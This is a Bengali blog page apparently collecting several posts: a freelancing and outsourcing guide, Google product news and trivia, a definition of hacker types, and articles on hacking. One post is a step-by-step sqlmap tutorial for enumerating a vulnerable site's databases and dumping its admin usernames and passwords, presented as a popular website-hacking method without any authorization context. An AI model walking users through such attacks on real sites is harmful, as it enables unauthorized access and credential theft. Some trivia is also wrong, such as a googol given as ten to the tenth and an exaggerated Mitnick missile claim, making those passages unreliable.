বলা হচ্ছে আগামীতে আউটসোর্সিং হবে বাংলাদেশের সবচেয়ে বড় আয়ের উতস, কর্মসংস্থানের সবচেয়ে বড় যায়গা। তারপরও যারা একাজ করবেন তারা অনেকেই অন্ধকারে রয়ে গেছেন। অনেকেই জানেন না ঠিক কি করবেন। কি যোগ্যতা প্রয়োজন হবে, কি কি যন্ত্রপাতি প্রয়োজন হবে, কি কাজ করতে হবে, কাজ কোথায় পাওয়া যাবে, কত টাকা পাওয়া যাবে, কিভাবে পাওয়া যাবে। এই প্রশ্নগুলির উত্তর ধারাবাহিকভাবে দেয়ার চেষ্টা করা হচ্ছে এখানে।
প্রথমেই একটা কথা পরিস্কার করে নেয়া ভাল। বলা হচ্ছে কাজ করে অর্থ উপার্জনের বিষয়ে। কাজেই আপনাকে কাজ করতে হবে, সে কাজ শিখতে হবে, অন্যদের সাথে প্রতিযোগিতা করতে হবে। আপনার দক্ষতা যত বেশি অর্থ উপার্জনের সুযোগ তত বেশি। এটাই একমাত্র পথ। যদি কাজ শিখতে এবং করতে পর্যাপ্ত আগ্রহ এবং চেষ্টা না থাকে তাহলে সময় নষ্ট না করাই ভাল। সহজে অর্থ উপার্জন বলে যা
বুঝানো হয় তা আসলে ততটা সহজ না।
আউটসোর্সিং কি ?
এটা নিশ্চয়ই প্রথম প্রশ্ন। উত্তর হচ্ছে, বাড়িতে বসে অন্য কারো কাজ করা। উন্নত দেশগুলিতে (আমেরিকা কিংবা ইউরোপ) মজুরী অত্যন্ত বেশি। কোন কোম্পানীর যদি নির্দিষ্ট প্রোগ্রাম তৈরী প্রয়োজন হয়, এজন্য যদি একজন প্রোগ্রামার নিয়োগ করতে হয় তাহলে বিপুল পরিমান টাকা গুনতে হয়। সেকাজটিই অন্য দেশের প্রোগ্রামার দিয়ে করিয়ে নিলে তুলনামুলক কম টাকায় করানো যায়। বর্তমান ইন্টারনেট ব্যবস্থায় খুব সহজে একাজ করা সম্ভব। আপনি সেই প্রোগ্রামার, ডিজাইনার, এনিমেটর অথবা যাই হোন না কেন ইন্টারনেটের মাধ্যমেই তাদের কাজ করতে পারেন, ঘরের বাইরে যাওয়ার প্রয়োজন নেই। বড় কোম্পানীর বদলে ছোট কোম্পানী, কিংবা ব্যক্তি পর্যায়ের কাজের কথা যদি
এরসাথে যোগ করা হয় তাহলে কাজের পরিধি বেড়ে যায় অনেক। ধরুন কোন ব্যক্তির একটি ওয়েবসাইট তৈরী করা প্রয়োজন।
তিনি নিজে সেকাজ পারেন না। কাজেই তার প্রয়োজন এমন একজন ব্যক্তি যিনি সেকাজ করে দেবেন। আপনি যদি সেকাজে দক্ষ হন তাহলে আপনি আগ্রহি হয়ে সেখানে যোগাযোগ করলেন। সমঝোতা হল, আপনি কাজটি করে দেবেন, বিনিময়ে ১০০ ডলার পাবেন। লাভ দুজনেরই। কাজেই, আউটসোর্সিং হচ্ছে এক যায়গার কাজ অন্যযায়গা থেকে করিয়ে নেয়া। এই কাজকে সহজ করার জন্য অনেক প্রতিস্ঠান রয়েছে। তাদের ওয়ের সাইটে বিনামুল্যে সদস্য হওয়া যায় (আপনাকে বিনামুল্যে সেবা দিয়েও তারা নিজেরা লাভ করেন। সে
হিসেব আলাদা)। তাদের সদস্য দুধরনের, একপক্ষ কাজ দেন, আরেকপক্ষ কাজ করেন। আপনি যখন কাজ দেবেন তখন কাজের বিবরন, সময়, অর্থের পরিমান ইত্যাদি তাদের জানাবেন। তারা ওয়েবসাইটে সেগুলি রেখে দেবেন যারা কাজ করতে আগ্রহি তাদের জন্য।
আপনি যত কাজ করবেন তখন তাদের ওয়েব সাইটে গিয়ে সেই তালিকা থেকে নিজের পছন্দমত কাজের জন্য আবেদন করবেন (সাধারনত একটি লিংকে ক্লিক করাই যথেষ্ট)। যার কাজ তিনি আবেদনগুলি যাচাই করে যাকে যোগ্য মনে করবেন তাকে কাজটি
দেবেন। আপনি সেই ব্যক্তি হলে কাজটি করে ইন্টারনেটের মাধ্যমেই তারকাছে পাঠিয়ে দেবেন। সাথেসাথে আপনার একাউন্টে কাজের অর্থ জমা হবে।
কাজের ধরন
একটু আগে দুধরনের কাজের কথা বলা হয়েছে, একটি কোম্পানীর, অপরটি ছোট কোম্পানী কিংবা ব্যক্তির। আউটসোসিং এর কাজ মুলত এই দুধরনের। বড় কোম্পানীর বড় কাজ করার জন্য বড় প্রতিস্ঠান প্রয়োজন। সেখানে আপনি একজন নিয়মিত কর্মী  হিসেবে নিয়োগ পেতে পারেন। আপনি ফ্রিল্যান্সার নন। আর ছোট কাজের ক্ষেত্রে আপনি নিজেই সবকিছু। যোগাযোগ, কাজ করা, অর্থ গ্রহন সবকিছু করতে হবে নিজেকেই। অবশ্য কয়েকজন একসাথে শুরু করে ক্রমাম্বয়ে বড় কোম্পানীতে পরিনত হওয়া অবশ্যই সম্ভব। ধরে নেয়া হচ্ছে আপনি একা কাজ করতে আগ্রহি। এখানে সে সম্পর্কিত তথ্যই উল্লেখ করা হচ্ছে। এক কথায়, কম্পিউটার ব্যবহার করে যাকিছু করা সম্ভব সবধরনের কাজই পাওয়া যায় এভাবে। গ্রাফিক ডিজাইন, ওয়েব পেজ তৈরী, ওয়েব পেজের কোন সমস্যার সমাধান থেকে শুরু করে এনিমেশন, ভিডিও এডিটিং কিংবা একেবারে সহজ ডাটা এন্ট্রি পর্যন্ত। কাজ যত সহজ অর্থের পরিমান তত কম, কাজ যত জটিল অর্থের পরিমান তত বেশি এই নিয়মে। উদাহরন হিসেবে ওয়েব সাইটের জন্য ফটোশপে একটি ব্যানার বিজ্ঞাপন তৈরী করে যে পরিমান অর্থ পাবেন ফ্লাশে এনিমেটেড ব্যানার তৈরী করে পাবেন তারথেকে অনেক বেশি অর্থ। বাস্তব ধারনা পাওয়ার সবচেয়ে ভাল পথ হচ্ছে এধরনের
ওয়েবসাইটে গিয়ে কাজের তালিকা দেখা।
কি শিখতে হবে
কোন কাজ আপনার জন্য ভাল সেটা যাচাইয়ের দায়িত্ব আপনার। আগ্রহ কোন বিষয়ে, দক্ষতা কোন বিষয়ে, কতদুর পর্যন্ত যেতে পারবেন এগুলি একমাত্র আপনিই জানতে পারেন। কোন কাজে অর্থ বেশি এটা বিচার করে সেই কাজ করতে না যাওয়াই ভাল। প্রোগ্রামার হওয়ার জন্য একধরনের প্রতিভা প্রয়োজন, এনিমেটর হওয়ার জন্য আরেক ধরনের, ভাল ডিজাইনার হওয়ার জন্য আরেক ধরনের। কোন বিষয়ে আগ্রহি হলে সে বিষয়ে খোজ নিন, কিছুদিন চেষ্টা করুন, তারপর দ্রুতই সিদ্ধান্ত নিন। এবিষয়েও সত্যিকারের সাহায্য পাবেন এধরনের জব সাইটে। প্রতিটি কাজের বর্ননার সাথে কোন সফটঅয়্যারে দক্ষতা থাকতে হবে তা উল্লেখ করা থাকে।
কত আয় করা সম্ভব
বিষয়টি পুরোপুরি আপনার কাজের ধরনের ওপর নির্ভর করে। অধিকাংশ কাজের হিসেব হয় ঘন্টা হিসেবে। গ্রাফিক ডিজাইনকে উদাহরন হিসেবে ধরলে মাসে অনায়াসে হাজার ডলার আয় করা সম্ভব। প্রোগ্রামার হলে অনেক বেশি।
কি যন্ত্রপাতি প্রয়োজন
এধরনের কাজে আপনার মুল অস্ত্র হচ্ছে মেধা। কাজেই দামী যন্ত্রপাতি নিয়ে মাথা ঘামানোর প্রয়োজন হয় না, বিশেষ কাজ ছাড়া। কাজের ধরন অনুযায়ী অবশ্যই আপনার স্ক্যানার, গ্রাফিক ট্যাবলেট, দামী ক্যামেরা ইত্যাদি প্রয়োজন হতে পারে। এধরনের বিশেষ যন্ত্র বাদ দিলে আপনার প্রয়োজন একটি মোটামুটি পর্যায়ের কম্পিউটার এবং ভাল ইন্টারনেট সংযোগ। বর্তমানে যথেষ্ট কম টাকায় ভাল কম্পিউটার পাওয়া যায়। আর ইন্টারনেট সংযোগের বিষয়ে বলা আসলে অর্থহীন। তারা আশা করে আপনি টাকা দেবেন, বদলে কি পাবেন তাতে তাদের কিছু যায়-আসে না। আর সরকার কিংবা প্রশাসন যত বক্তৃতা-বিবৃতি দিক না কেন, ব্যবসায়িদের কাছে সবসময় মাথা নিচু করে থাকে। মুল কথায় ফেরা যাক। ইন্টারনেটে কাজ করে অর্থ উপার্জনের এটা প্রাথমিক তথ্য। শুরুতেই আপনি যা করতে পারেন তা হচ্ছে এধরনের ওয়েবসাইটে গিয়ে বিস্তারিত পড়া, বোঝার চেষ্টা করা। সত্যিকাজের কাজের তথ্য তাদের কাছেই পাওয়া সম্ভব, অকারনে অন্য যায়গায় সময় নষ্ট করবেন না। odesk, freelancer এধরনের জনপ্রিয় ওয়েব সাইটের উদাহরন। সার্চ করলে এধরনের
আরো বহু সাইট পাবেন। ভালভাবে বোঝার জন্য কয়েকদিন নিয়মিত এই সাইটগুলিতে সময় কাটান। কাজ শুরু করুন, সেইসাথে আরো জানার চেষ্টা করুন।

Labels:

গুগলের নতুন চমক দেখেছেন?

প্রযুক্তি জায়ান্ট গুগুল তার নতুন কম্পিউটার বাজারে আনছে। এটি পেনড্রাইভ সদৃশ একটি স্টিক বা ছোট্ট লাঠির মত। যেকোনো ডিস্লেতে ইউএসবির মাধ্যমে সংযোগ দিলেই এই পণ্যটি হয়ে উঠবে স্বাভাবিক ডেস্কটপ বা ল্যাপটপ। এতে সব ধরনের কাজ করা যাবে। গুগল ও আসুসের যৌথ উদ্যোগে তৈরি এই কম্পিউটারের নাম দেয়া হয়েছে ‘ক্রোমবিট’।
মঙ্গলবার এক বিবৃতিতে এ বিষয়ে গুগল জানায়, ক্রোম অপারেটিং সিস্টেম নির্ভর ‘ক্রোমবিট’ নামের পণ্যটি বাজারে আসবে চলতি বছরের মাঝামাঝিতে। ক্যান্ডিবারের চেয়ে আকারে ছোট ‘ক্রোমবিট’র মূল্য ৮,০০০ (১০০ ডলার) টাকার কম হবে বলেও জানায় গুগল।
প্রতিষ্ঠানটি বলছে, যেকোনো ডিসপ্লেতে প্লাগইন করলেই বস্তুটি ডেক্সটপ বা ল্যাপটপের মতো কাজ করতে পারবে। সম্পূর্ণ আপডেট ভার্সনের এ ক্রোমবুক শিক্ষার্থী, ব্যবসায়ী সবার প্রয়োজন মেটাবে।
গুগলের মুখপাত্র জানিয়েছেন, ক্রোমবিটে কি-বোর্ড সংযুক্ত করা যাবে। এটি টেলিভিশনেও যুক্ত করে কাজ করা যাবে। দাম পড়বে বাংলাদেশি টাকায় ৮০০০ (কম-বেশি ১০০ ডলার) টাকারও কম।

Labels:

Wednesday, August 23, 2017

গুগলের জানা-অজানা

ন্টারনেট দুনিয়ায় জনপ্রিয় ও বহুল ব্যবহৃত ওয়েবসাইটটির নাম গুগল। হঠাৎ কোনো জিজ্ঞাসা কিংবা দরকারি যে কোনো তথ্যের জন্য সবার আগে আমাদের মাথায় আসে এই সার্চ ইঞ্জিনটির নাম। বহুবার ব্যবহার করা এই সার্চ ইঞ্জিন সম্পর্কে জেনে নেওয়া যাক কিছু চমকপ্রদ তথ্য, এগুলো নেওয়া হয়েছে ম্যাশেবল ডট কম, দ্য টেলিগ্রাফ, ফ্যাক্টস স্লাইড ও উইকিপিডিয়া থেকে।
১। বিশেষ বিশেষ দিবস উপলক্ষে গুগল তাদের লোগো পাল্টে ফেলে। আর এই পাল্টে ফেলা বিশেষ লোগোর নাম ‘ডুডল’। এখন পর্যন্ত গুগল ১৯০০-এর বেশি ডুডল প্রকাশ করেছে। ১৯৯৮ সালের ‘বার্নিং ম্যান ফেস্টিভ্যাল’-এর জন্য প্রথম ডুডলটির ডিজাইন করেন গুগলের দুই প্রতিষ্ঠাতা ল্যারি পেজ ও সের্গেই ব্রাইন। তবে বর্তমানে লোগোর ডিজাইন করার জন্য গুগলের একটি বিশেষ টিম রয়েছে, এই টিমের সদস্যদের ডাকা হয় ডুডলার নামে।
২। গুগল (Google) এই নামের ইতিহাসটাও কিন্তু বেশ মজার। ল্যারি পেজ ও সের্গেই ব্রাইন অনেক ভেবে নাম ঠিক করলেন Googol, যে শব্দটি আসলে প্রমাণ সাইজ একটি সংখ্যাকে প্রতিনিধিত্ব করে (১ Googol= ১০১০)। প্রতিষ্ঠাতাদের ইচ্ছা ছিল, এই সংখ্যার মতো প্রকাণ্ড ব্যাপ্তি হবে তাদের সার্চ ইঞ্জিনের। কিন্তু বিধি বাম, ভুল বানানে Googol হয়ে গেল Google! প্রতিষ্ঠাতারাও ভাবলেন নামটা মন্দ লাগছে না, পাকা করে ফেললেন Google নামটিকেই। তবে বানান এদিক-সেদিক হলেও বিশালতার দিকে থেকে Google কিন্তু কম যায় না!
৩। ক্যালিফোর্নিয়া গ্যাজলিং নামের এক প্রতিষ্ঠান থেকে গুগল প্রতিবছর ছাগল ভাড়া করে থাকে! ছাগল শুনে হয়তো ভ্রু কুঁচকে ফেলছেন, আসলে এর পেছনে রয়েছে এক চমকপ্রদ কারণ। এই ছাগলগুলোর কাজ গুগল হেডকোয়ার্টারের পাশে জমে যাওয়া আগাছা আর ঘাস সাবাড় করা। ঘাস কাটার কাজে গুগল পরিবেশসচেতনই বটে!
৪। ১৯৯৮ সালে গুগল যখন যাত্রা শুরু করে, তখন তার সার্ভার ছিল মাত্র ৪০ গিগাবাইটের। ল্যারি পেজ তাঁর লেগো দিয়ে এই সার্ভার ডিজাইন করেন। ২০১৫ সালে এসে গুগলের সার্ভারের আকার এখন ১০০ মিলিয়ন গিগাবাইট।
৫। বর্তমানে ৪০০ বিলিয়নেরও বেশি মূল্যের গুগল কিন্তু ১৯৯৯ সালেই বেঁচে দিতে চেয়েছিলেন দুই প্রতিষ্ঠাতা। তখন দাম উঠেছিল মোটে এক মিলিয়ন ডলার! ভাগ্যিস শেষ পর্যন্ত আর মনে সায় দেয়নি ল্যারি ও ব্রাইনের!
৬। গুগল ইনকরপোরেটের বিশালতা বোঝানো যায় একটি পরিসংখ্যান দিয়ে। ২০১০ সালের পর গুগল গড়ে প্রতি সপ্তাহে একটি করে কোম্পানি বা প্রতিষ্ঠান কিনে নিচ্ছে!
৭। কিছুদিন হলো বাংলাদেশে চালু হয়েছে ‘গুগল স্ট্রিটভিউ’। ‘গুগল স্ট্রিটভিউ’-এর জন্য স্ট্রিটভিউ কার পৃথিবীজুড়ে পাড়ি দিয়েছে ২৮ মিলিয়ন মাইল পথ। শুধু কার নয়, স্ট্রিটভিউয়ের জন্য উটকে কাজে লাগিয়ে মরুভূমির রাস্তার ছবি তুলেছে গুগল!
৮। গুগলের ভবিষ্যৎ পরিকল্পনাগুলো বেশ উচ্চাকাঙ্ক্ষীই বলতে হয়। ২০২০ সালের মধ্যে সারা পৃথিবীর প্রায় ১২৭ মিলিয়ন বই স্ক্যান করে নিজস্ব ডেটাবেইসে সংযুক্ত করার পরিকল্পনা নিয়েছে গুগল। তা ছাড়া তারা এমন একটি কম্পিউটার বানানোর চেষ্টা করেছে, যেটি নিজেই প্রোগ্রাম লিখতে পারবে। বুদ্ধিমান কম্পিউটার বুঝি একেই বলে!
৯। গুগল হোমপেজ দেখা যায় প্রায় নব্বইটি ভাষায়। এর ভেতরে কিছু অদ্ভুত ভাষাও আছে। যেমন জনপ্রিয় মুভি সিরিজ স্ট্রারট্রেক-এ ব্যবহৃত ‘ক্লিংওন’ ভাষা কিংবা দ্য মাপেট সিনেমায় ব্যবহৃত ‘বর্ক বর্ক বর্ক’ ভাষা।
১০। প্রতি সেকেন্ডে গুগলে প্রায় ৪০ হাজার সার্চ করা হচ্ছে। গুগলের প্রতিটি সার্চের জন্য যে পরিমাণ কম্পিউটিং দরকার হয়, তা অ্যাপোলো ১১-কে চাঁদে পাঠানোর কাজে ব্যবহৃত কম্পিউটিংয়ের চেয়েও বেশি!

Labels:

হ্যাকার কাকে বলে ?

হ্যাকার হচ্ছে সেই ব্যাক্তি জিনি নিরাপত্তা অনিরাপত্তার সাথে জরিত এবং নিরাপত্তার ব্যাবস্থার দুরবল দিক খুজে বের করায় বিষেশ ভাবে দক্ষ অথবা অন্য কম্পিউটার ব্যাবস্থার অবইধ অনপ্রবেশ করতে সক্ষম বা এর সম্পরকের গভির জ্ঞানের অধিকারি । সাধারন ভাবে হ্যাকার শব্দটি কালো টুপি হ্যাকার অর্থেই সবচেয়ে বেশি ব্যাবহিত হয় যারা মুলত ধংস মুলক বা অপরাধ মলুক কর্মকান্ড করে থাকেন । এছারা আরো নইতিক হ্যাকার রয়েছে যারা সাধারন ভাবে সাদা টুপি হ্যাকার নামে পরিচিত এবং নইতিকতা সম্প্ররকে অপরিস্কার হ্যাকার আছেন জাদের দুসর টুপি হ্যাকার বলেন । এদের মধ্যে পারথক্য করার জন্য প্রায়শ শব্দটি ব্যাবহার করা হয় যা কম্পিউটার নিরা পত্তা হ্যাকার থেকে একাডেমিক বিষয়ের হ্যাকার থেকে আলাদা করার জন্য ব্যবহার করা হয় , অথবা অসাধু হ্যাকার (কালো টুপি হ্যাকার) নইতিক হ্যাকারের (সাদা টুপি হ্যাকার) পার্থক্য বুজাতে ব্যাবহিত হয় , হ্যাকাররা বার্চুয়াল জগতের নতুন কিছু শ্রিস্টি করতে পারে , সমস্যার সমাধান করতে । পারে তারা সাধিনতা এবং পারস্পারিক সহযোগিতায় বিশ্বাসি । হ্যাকার হওয়ার সর ব প্রথম শর্ত হচ্ছে আপনাকে আগে ঠিক করতে হবে আপনি কোন ধরনের হ্যাকার হবেন । উপরে তিন ধরনের হ্যাকার সম্পর্কে আলচনা করা হয়েছে আপনাদের সুবিধার্থে আরেক্টু লিখতেসি
সাদা টুপি হ্যাকার (White Hat Hacker)- এরা কম্পিউটার তথা সাইবার ওয়ার্ল্ডের প্রদান করে । এরা কখনো অপরের ক্ষতি করেনা । এদের কে ইথ্যেকেল হ্যাকার বলা হয় ।
ধুসর টুপি হ্যাকার (Grey Hat Hacker)- এরা এমন এক ধরনের হ্যাকার যারা সাদা টুপি এবং কাল টুপি হ্যাকারের মধ্যপর্তি স্থানে অবস্থান করেন । এরা ইচ্ছা করলে কারোও ক্ষতি ও করতে পারে এবং উপকারো করতে পারে
কালো টুপি হ্যাকার (Black Hat Hacker)- হ্যাকার বলতে সাধারনত কালো টুপি হ্যাকার দের বোঝায় এরা সব সময় কোন না কোন ভাবে অপরের ক্ষতি করার চেস্টা করে । সাইবার ওয়ার্ল্ডে এরা সবসময় ঘ্রিনিত হয়ে থাকে । এছারাও আরো কিছু হ্যাকারের ধরন রয়েছে । যেমন-
সাইবার এক্সডি (Cyber XD)- এরা নিজেরা ভিবিন্ন শেল আপলোড করে থাকে ওয়েব সাইটে এবং অন্যের ক্ষতি করেনা
স্ক্রিপ্ট কিডি (Script Kidie)- এরা নিজেরা কিছুই পারেনা বরং ভিবিন্ন সফটওয়ার টুলস ব্যাবহার করে থাকা
ক্ষমা করবেন আমার বানান গুলা অনেক ভুল হইছে এটা আমি জানি কারন আমার কিবুর্ড টা হালকা নস্ট তাই ধনবাদ
পরের পর্ব আরো অনেক পার্ট আছে কিন্তু কেও মিস করবেন্না

Labels:

ওয়েবসাইট হ্যাকিং এর অন্যতম জনপ্রিয় পদ্ধতি, SQL Injection !

ওয়েবসাইট হ্যাকিং এর অন্যতম জনপ্রিয় পদ্ধতি হল SQL Injection !
আজকে আপনাদের দেখাবো Sqlmap এর কাজ ! যা কালি লিনাক্সে আগে থেকেই বিদ্যমান !কোনো সাইট  SQL Injection এর যোগ্য কিনা তা জানতে Windows এর জন্য Nessus , Vega , Acunetix ব্যাবহার করতে পারেন ! সফটওয়্যার গুলু Google A Search দিলে পাবেন !
Kali Linux এর ক্ষেত্রে Vega,Power Fuzzar ব্যাবহার করতে পারেন !
আচ্ছা ধরেন আপনি একটা ওয়েবসাইট পাইছেন যেটা SQL Injection  এর যোগ্য ! ঊপরের সফটওয়্যার গুলু বলে দিবে আপনাকে যে ঐ ওয়েবসাইট এর কোন লিঙ্কটা Vulnerable !
তাহলে ঐ ওয়েবসাইট এর Link টা হবে এমন : www.yoursite.com/index.php?id=32 !
এখন আপনার কাজ হল কালি লিনাক্স ওপেন করে  টার্মিনাল ওপেন করা ! প্রথমে আমরা ডাটাবেস বের করব তারপর টেবিল তারপর কলাম তারপর সেগুলু দেখব ডাম্প করার মাধ্যমে !
তাহলে আমরা টার্মিনালে লিখবঃ    sqlmap -u www.yoursite.com/index.php?id=32–dbs
তারপর
আপনার কাছে কিছু জানতে চাইতে পারে ! ভালভাবে পড়ে দেখুন কি জানতে চাচ্ছে ! যদি না বুঝেন সমস্যা নাই ! লাইন এর লাস্টে দেখুন (Y/n) অথবা (y/N) এমন আসবে ! যেটা বড় হাতের হবে সেটা লিখুন !
উদাহরন ১ : Scan all directory (Y/n) Y  বড় হাতের তাহলে Y লিখে  Enter চাপুন !
উদাহরন ২ : Cancle Scane (y/N) N  বড় হাতের তাহলে N লিখে  Enter চাপুন !
কিছুক্ষন কাজ হবে ! তারপর আপনার সামনে হাজির হবে ঐ ওয়েবসাইট এর ডাটাবেস !
এমন :
*information_schema
*yoursite
তারপর
আমরা টার্মিনালে লিখবঃ
sqlmap -u www.yoursite.com/index.php?id=32 -D yoursite –tables
ভেঙ্গে বলতে হবে ??
টেবিল পাবো এমন :
user
files
admin
email
তারপর
আমরা টার্মিনালে লিখবঃ
sqlmap -u www.yoursite.com/index.php?id=32 -D yoursite -T admin –columns
কলাম পাবো এমন :
admin_username
admin_password
তারপর
আমরা টার্মিনালে লিখবঃ
sqlmap -u www.yoursite.com/index.php?id=32 -D yoursite -T admin -C admin_username –dump
[            Username        ]
[                                   ]
[             BOLOD           ]
[                                  ]
[___________________]
একই ভাবে পাসওয়ার্ড বের করব :
আমরা টার্মিনালে লিখবঃ
sqlmap -u www.yoursite.com/index.php?id=32 -D yoursite -T admin -C admin_password –dump
[            Password         ]
[                                   ]
[             123456           ]
[                                   ]
[___________________]
কারো প্রশ্ন থাকলে করতে পারেন ! আর অনেকেই বলবেন হাভিঝ দিয়ে ইজি ! কিন্তু হাভিঝ দিয়ে অনেক সাইট এর ডাটাবেস আসে না ঝামেলা করে !

গুগলের জানা অজানা মজার ১৫টি টিপস

১. আপনি গুগলে একটি টাইমার ও তার সঙ্গে অ্যালার্ম সেট করতে পারেন। এজন্য গুগল সার্চে timer কথাটি লিখুন আর তার আগে যে কোনো মিনিটের কথা লিখে নিন। এতেই শুরু হয়ে যাবে টাইমার।
২. নাসা স্যাটেলাইট থেকে তোলা মহাশূন্যের ছবি গুগলেই পাওয়া যাবে। এজন্য Google.com/sky লিখে দিলেই হবে।
৩. বিয়ে করতে যাচ্ছেন? গুগল আপনার বিয়ের অনুষ্ঠান, ভেনু নির্বাচনসহ বহু বিষয়ে সহায়তা করতে তৈরি আছে।
৪. গুগল এনগ্রাম একটি মজার টুলস, যার মাধ্যমে আপনি ১৫০০ সাল থেকে ২০০৮ সালের মধ্যে প্রকাশিত ৫.২ মিলিয়ন বইয়ের মধ্যে ব্যবহৃত
শব্দগুলোর পরিবর্তন বিষয়ে জানতে পারবেন।
৫. বড় কোনো সংখ্যা নিয়ে সমস্যায় আছেন? গুগল দিতে পারে সমাধান। সংখ্যাটিকে পড়ে দিতে গুগলে তা দিয়ে “=english” লিখলেই চলবে।
৬. গুগল ট্রান্সলেটের মাধ্যমে বিশ্বের বিভিন্ন ভাষার লেখা অনুবাদ করা যায়। তবে এতে একটি ‘ম্যানুয়াল’ বিষয়ও আছে। যেমন গুগলের মাধ্যমে আপনি কোনো একটি চীনা ভাষার চিহ্ন একেও তার অনুবাদ করতে পারবেন।
৭. গুগলের ইনপুট টুলের মাধ্যমে ৮০টি ভিন্ন ভাষায় ইনপুট দেওয়া সম্ভব।
৮. নানা ধরনের ফন্টের গুগলের সাহায্য নেওয়ার ব্যবস্থা রয়েছে। এজন্য Google.com/fonts -এ যেতে হবে।
৯. গুগল স্কলারের মাধ্যমে তথ্য খুঁজে বের করা এখন আগের তুলনায় অনেক সহজ।
১০. বিশ্বের বিভিন্ন বিখ্যাত জাদুঘরে সংরক্ষিত বহু চিত্রকর্মের উচ্চ রেজুলিশনের ছবি দেখা যাবে গুগলে। আপনার সাংস্কৃতিক জ্ঞান বাড়ানোর জন্য এগুলো ব্যবহার করা সম্ভব।
১১. গুগলের ‘ডিজিটাল চিট শিট’ ব্যবহার করে উপকৃত হতে পারেন ব্যবসায়ীরা।
১২. মানুষের সাম্প্রতিক চিন্তাভাবনা সম্পর্কে জানতে চান? গুগলের সাহায্যে জানতে পারেন দৈনন্দিন সর্বাধিক সার্চকৃত শব্দগুলো।
১৩. গুগল ম্যাপে যোগ করতে পারেন আপনার নিজের তোলা ছবি। এতে ছবিটি কোথায় তোলা হয়েছে, তার তথ্য পাওয়া যাবে।
১৪. গুগলে রয়েছে সাউন্ড সার্চ-এর অপশন। কোনো একটি গান বাজানো হলে তা কোন অ্যালবামের, তা জানা সম্ভব।
১৫. গুগলের রয়েছে একটি অসাধারণ নোট রাখার ও রিমাইন্ডার অ্যাপ। এটি ডেস্কটপ ও স্মার্টফোনে একত্রেই কাজ করে।

Labels:

হ্যাকিং!!!

কি এই হ্যাকিং?
হ্যাকিং হচ্ছে কারো অনুমতি না নিয়ে তাঁর রিসোর্স এক্সেস করা৷ কাজটা করা হয় নেটওয়ার্কের উপর দিয়ে৷
অনেকেই হ্যাকারদেরকে বুদ্ধিমান চোরও বলে থাকে৷ কারণ তারা কম্পিউটার অপারেটিং সিস্টেম এবং নেটওয়ার্কিং এর খুঁটিনাটি বিষয়গুলো বেশ ভালোভাবেই জানে বলে তারা সহজেই খুঁজে বের করতে পারে একটি সিস্টেমের দুর্বল পথগুলো৷ আর নেটওয়ার্কের মাধ্যমে তারা ওই পথ দিয়েই ঢুকে পড়ে অন্যের সার্ভারে৷ একটি সার্ভারে প্রবেশ করে তার অ্যাডমিনিসট্রেটিভ ক্ষমতা হাতে নেওয়া মানেই ঐ সার্ভারের পূর্ণাঙ্গ ক্ষমতা হাতে পাওয়া৷ এভাবেই তারা অন্য ওয়েবসাইটের নিয়ন্ত্রণ নিয়ে নেয়৷
তবে বাংলাদেশের ক্ষেত্রে হ্যাকিং বেশ সহজ বলেই মনে করছেন তথ্য প্রযুক্তি বিশেষজ্ঞরা৷ এর কারণ হিসেবে বলা হচ্ছে পাইরেটেড সফটওয়্যার ব্যবহার করে দুর্বল বা কম নিরাপত্তাসম্পন্ন ওয়েবসাইট তৈরিকে৷ বিষয়টি নিয়ে বাংলাদেশের আইএসপি বিডিকম-এর ব্যবস্থাপনা পরিচালক সুমন আহমেদ সাবের বলেন, আমাদের এখানে যেসব ওয়েবসাইট তৈরি করা হচ্ছে তার বেশিরভাগই কিছু কমন ওপেনসোর্স ইউটিলিটি দিয়ে তৈরি৷ এসব সফটওয়্যারে কিছু সিকিউরিটি গ্যাপ আছে, যা অনেকেই জানে৷ এসব ওয়েবসাইটের যেসব ওয়েব মাষ্টার আছে তারা যদি এসব সিকিউরিটি গ্যাপ প্রতিরোধক প্যাচ ব্যবহার করে তাহলে কিন্তু সহজে আর এসব সাইট হ্যাক করা যাবে না৷ কিন্তু ওয়েব মাষ্টারদের অজ্ঞতার জন্যেই কিছু মানুষ হ্যাকিং এর সুযোগ নিচ্ছে৷
তবে হ্যাকাররা কিন্তু ধরাছোয়ার বাইরে থাকা কোন গোষ্ঠী নয়৷ যার প্রমাণ আমরা পেয়েছি শাহী মির্জার কাছ থেকে৷ ছোট পরিসরে হলেও রেবের ওয়েবসাইট হ্যাক করে শাহী মির্জা ধরা পড়েছে মাত্র ২৪ ঘন্টার মধ্যে৷ বিশেষ করে নবীন হ্যাকারদের ক্ষেত্রে ধরা পড়ার ঘটনা বেশ দ্রুতই ঘটে যায়৷ কারণ আমরা যখন ইন্টারনেট সংযোগ ব্যবহার করি তখন প্রত্যেকটি সংযোগের পেছনেই কাজ করে একটি করে নির্দিষ্ট আইপি অ্যাড্রেস৷ অর্থ্যাত্‌ যখনই আপনি ইন্টারনেটে সংযুক্ত হচ্ছেন তখন এই আইপি এড্রেসের মাধ্যমে একটি বিশেষ নেটওয়ার্কের আওতাভুক্ত আপনি৷ তাই ওই নেটওয়ার্কের পথ ধরে আপনাকে খুঁজে পাওয়া সম্ভব৷ আর হ্যাকারদের প্রধান হাতিয়ারই হলো ইন্টারনেট৷ তাই তারাও এই বিশেষ নেটওয়ার্কের আওতার বাইরে নয়৷ ফলত তারাও ধরা পড়ে যায় নেটওয়ার্ক বিশেষজ্ঞদের হাতে৷ তবে শুধু আইপিই নয়, আরো অনেকভাবে খুঁজে বের করা যায় হ্যাকারদের৷ দেশভেদে সেই প্রক্রিয়াও একেক রকম৷
কিন্তু হ্যাকারদের ধরা মানেই কি গ্রেফতার বা অর্থদন্ড৷ উন্নত বিশ্বে বোধহয় গ্রেফতার বা অর্থ দন্ডের বিষয়টি এত সহজ নয়৷ অন্তত কেভিন মিটনিখ-এর বিষয়টি তাই বলে৷ কেভিন মিটনিখ হচ্ছে বিশ্বের সবচেয়ে শক্তিশালী হ্যাকার৷ নব্বই দশকের মাঝামাঝির দিকে কেভিন মার্কিন যুক্তরাষ্ট্রের অধিকাংশ সুরক্ষিত নেটওয়ার্ক হ্যাক করেছেন অতি অল্প সময়ের মধ্যে৷ মার্কিন মিডিয়ার মতে, একটিমাত্র ডিজিটাল টেলিফোন লাইন ব্যবহার করে পেন্টাগনের নেটওয়ার্ক হ্যাক ও সেখান থেকে পারমাণবিক ক্ষেপণাস্ত্র নিজের ইচ্ছামত যেকোন জায়গায় নিক্ষেপের ক্ষমতা রাখে কেভিন৷ এতটাই শক্তিশালী হ্যাকার সে৷ তথাপি মার্কিন যুক্তরাষ্ট্র কিন্তু কেভিনকে ব্যবহার করতে পেরেছে নিজেদের 